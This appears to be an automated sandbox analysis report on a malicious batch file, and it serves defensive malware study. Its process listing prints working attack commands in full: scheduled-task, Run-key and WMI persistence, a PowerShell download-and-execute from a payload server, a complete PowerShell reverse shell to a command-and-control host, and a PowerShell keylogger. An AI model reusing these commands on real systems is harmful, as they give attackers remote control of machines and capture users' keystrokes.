Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_91730_014304.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_91730_014304.bat
Resource
win11-20260513-en
General
- Target rat_build_91730_014304.bat
- Size 4KB
- Sample260529-2axt5acz5k
- SHA256 2272d2b13c9eba4f7860e954f0ef2c7d63748b63e589f8bbca5b8c0e367b2ade
- MD5 a5c97f40d8947078683e7cc46c206f8b
- SHA1 e13ece6b7f9b7ca00fe62495a108a1670fc7205b
- SHA512 c494634ae8230662a7221563a2dc9aa7deb367f605ad03aba3f962c88352a82d92bcbe20fa734ed713b111e1669bc983659be02e3fe3f127facff4222be9ad10
- SSDEEP 96:sIVVDWsd1fKHjHYsSo+hFSoOEFmrV9kvFk1W543jwPUrCy3CgbmKriFgZk8mvlo4:sAMsd1awhsEFmDN1j3Cy3CeiFgkHl/2g
- TLSH T1CBA1F712439762309DB11628E9722D8813ACD9FB2341CA8EEB094CD99A0DF43D57A5EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_91730.ps1
Signatures
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pid Process 5060 powershell.exe 3164 powershell.exe 4508 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_91730 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_91730.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4020 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 204 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4608 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3828 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5060 powershell.exe 5060 powershell.exe 3164 powershell.exe 3164 powershell.exe 4508 powershell.exe 4508 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4640 WMIC.exe Token: SeSecurityPrivilege 4640 WMIC.exe Token: SeTakeOwnershipPrivilege 4640 WMIC.exe Token: SeLoadDriverPrivilege 4640 WMIC.exe Token: SeSystemProfilePrivilege 4640 WMIC.exe Token: SeSystemtimePrivilege 4640 WMIC.exe Token: SeProfSingleProcessPrivilege 4640 WMIC.exe Token: SeIncBasePriorityPrivilege 4640 WMIC.exe Token: SeCreatePagefilePrivilege 4640 WMIC.exe Token: SeBackupPrivilege 4640 WMIC.exe Token: SeRestorePrivilege 4640 WMIC.exe Token: SeShutdownPrivilege 4640 WMIC.exe Token: SeDebugPrivilege 4640 WMIC.exe Token: SeSystemEnvironmentPrivilege 4640 WMIC.exe Token: SeRemoteShutdownPrivilege 4640 WMIC.exe Token: SeUndockPrivilege 4640 WMIC.exe Token: SeManageVolumePrivilege 4640 WMIC.exe Token: 33 4640 WMIC.exe Token: 34 4640 WMIC.exe Token: 35 4640 WMIC.exe Token: 36 4640 WMIC.exe Token: SeIncreaseQuotaPrivilege 4640 WMIC.exe Token: SeSecurityPrivilege 4640 WMIC.exe Token: SeTakeOwnershipPrivilege 4640 WMIC.exe Token: SeLoadDriverPrivilege 4640 WMIC.exe Token: SeSystemProfilePrivilege 4640 WMIC.exe Token: SeSystemtimePrivilege 4640 WMIC.exe Token: SeProfSingleProcessPrivilege 4640 WMIC.exe Token: SeIncBasePriorityPrivilege 4640 WMIC.exe Token: SeCreatePagefilePrivilege 4640 WMIC.exe Token: SeBackupPrivilege 4640 WMIC.exe Token: SeRestorePrivilege 4640 WMIC.exe Token: SeShutdownPrivilege 4640 WMIC.exe Token: SeDebugPrivilege 4640 WMIC.exe Token: SeSystemEnvironmentPrivilege 4640 WMIC.exe Token: SeRemoteShutdownPrivilege 4640 WMIC.exe Token: SeUndockPrivilege 4640 WMIC.exe Token: SeManageVolumePrivilege 4640 WMIC.exe Token: 33 4640 WMIC.exe Token: 34 4640 WMIC.exe Token: 35 4640 WMIC.exe Token: 36 4640 WMIC.exe Token: SeIncreaseQuotaPrivilege 2620 WMIC.exe Token: SeSecurityPrivilege 2620 WMIC.exe Token: SeTakeOwnershipPrivilege 2620 WMIC.exe Token: SeLoadDriverPrivilege 2620 WMIC.exe Token: SeSystemProfilePrivilege 2620 WMIC.exe Token: SeSystemtimePrivilege 2620 WMIC.exe Token: SeProfSingleProcessPrivilege 2620 WMIC.exe Token: SeIncBasePriorityPrivilege 2620 WMIC.exe Token: SeCreatePagefilePrivilege 2620 WMIC.exe Token: SeBackupPrivilege 2620 WMIC.exe Token: SeRestorePrivilege 2620 WMIC.exe Token: SeShutdownPrivilege 2620 WMIC.exe Token: SeDebugPrivilege 2620 WMIC.exe Token: SeSystemEnvironmentPrivilege 2620 WMIC.exe Token: SeRemoteShutdownPrivilege 2620 WMIC.exe Token: SeUndockPrivilege 2620 WMIC.exe Token: SeManageVolumePrivilege 2620 WMIC.exe Token: 33 2620 WMIC.exe Token: 34 2620 WMIC.exe Token: 35 2620 WMIC.exe Token: 36 2620 WMIC.exe Token: SeIncreaseQuotaPrivilege 2620 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3876 wrote to memory of 3828 3876 cmd.exe 88 PID 3876 wrote to memory of 4608 3876 cmd.exe 89 PID 3876 wrote to memory of 4640 3876 cmd.exe 90 PID 3876 wrote to memory of 2620 3876 cmd.exe 91 PID 3876 wrote to memory of 3104 3876 cmd.exe 92 PID 3876 wrote to memory of 204 3876 cmd.exe 95 PID 3876 wrote to memory of 4020 3876 cmd.exe 99 PID 3876 wrote to memory of 5060 3876 cmd.exe 100 PID 3876 wrote to memory of 3164 3876 cmd.exe 101 PID 3876 wrote to memory of 4508 3876 cmd.exe 102 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_91730_014304.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_91730" /tr "C:\Users\Admin\AppData\Local\Temp\_91730.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3828
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_91730" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_91730.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4608
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_91730", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_91730", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_91730.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2620
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_91730.txt2⤵PID:3104
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:204
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C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4020
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_91730.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3164
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4508
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 08ddc37fc6661d2c58627a74def262ec224d59a3b5acc27ca118e74d5d4254d7
- MD5 43c644c21df7f8b3cb1bb8ec97290e46
- SHA1 bc43b10d8543e747934fcfc5781de78fe79a9934
- SHA512 a1112c858b5939de87d57ea02f950e6cc5e5f1f09c7f2e11e80acdbedb017990c2e20db43bdab54329097f354b917fb19d53287bef20acf9ae74008187f3847c
- TLSH T1A2115727B39C8921CC96153A409D9C1172B683D7419EDE9F6FC5D214A07F584CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 193ff6638fb8aff4a5202080bb3323a079ebd630363b1fb5627500a61f50d1bb
- MD5 018209c2aca91af0ff46ed3d8c79d783
- SHA1 9cc2669bbcd94af4a242c6eb8fddbe8f3ab34e49
- SHA512 0f58c488963bf78a18a1ce957b30ac9328ab707104737a5bf54ee3fd5043aed810cca8fcb5a0bc24d773556184924ed5df01bda84618d547f6acea23a8884faa
- TLSH T1A7115727B39C89A1CC96153A409D9C1172B683DB409EDEDF7BC0D214A1BF584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bj0lrdta.uua.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH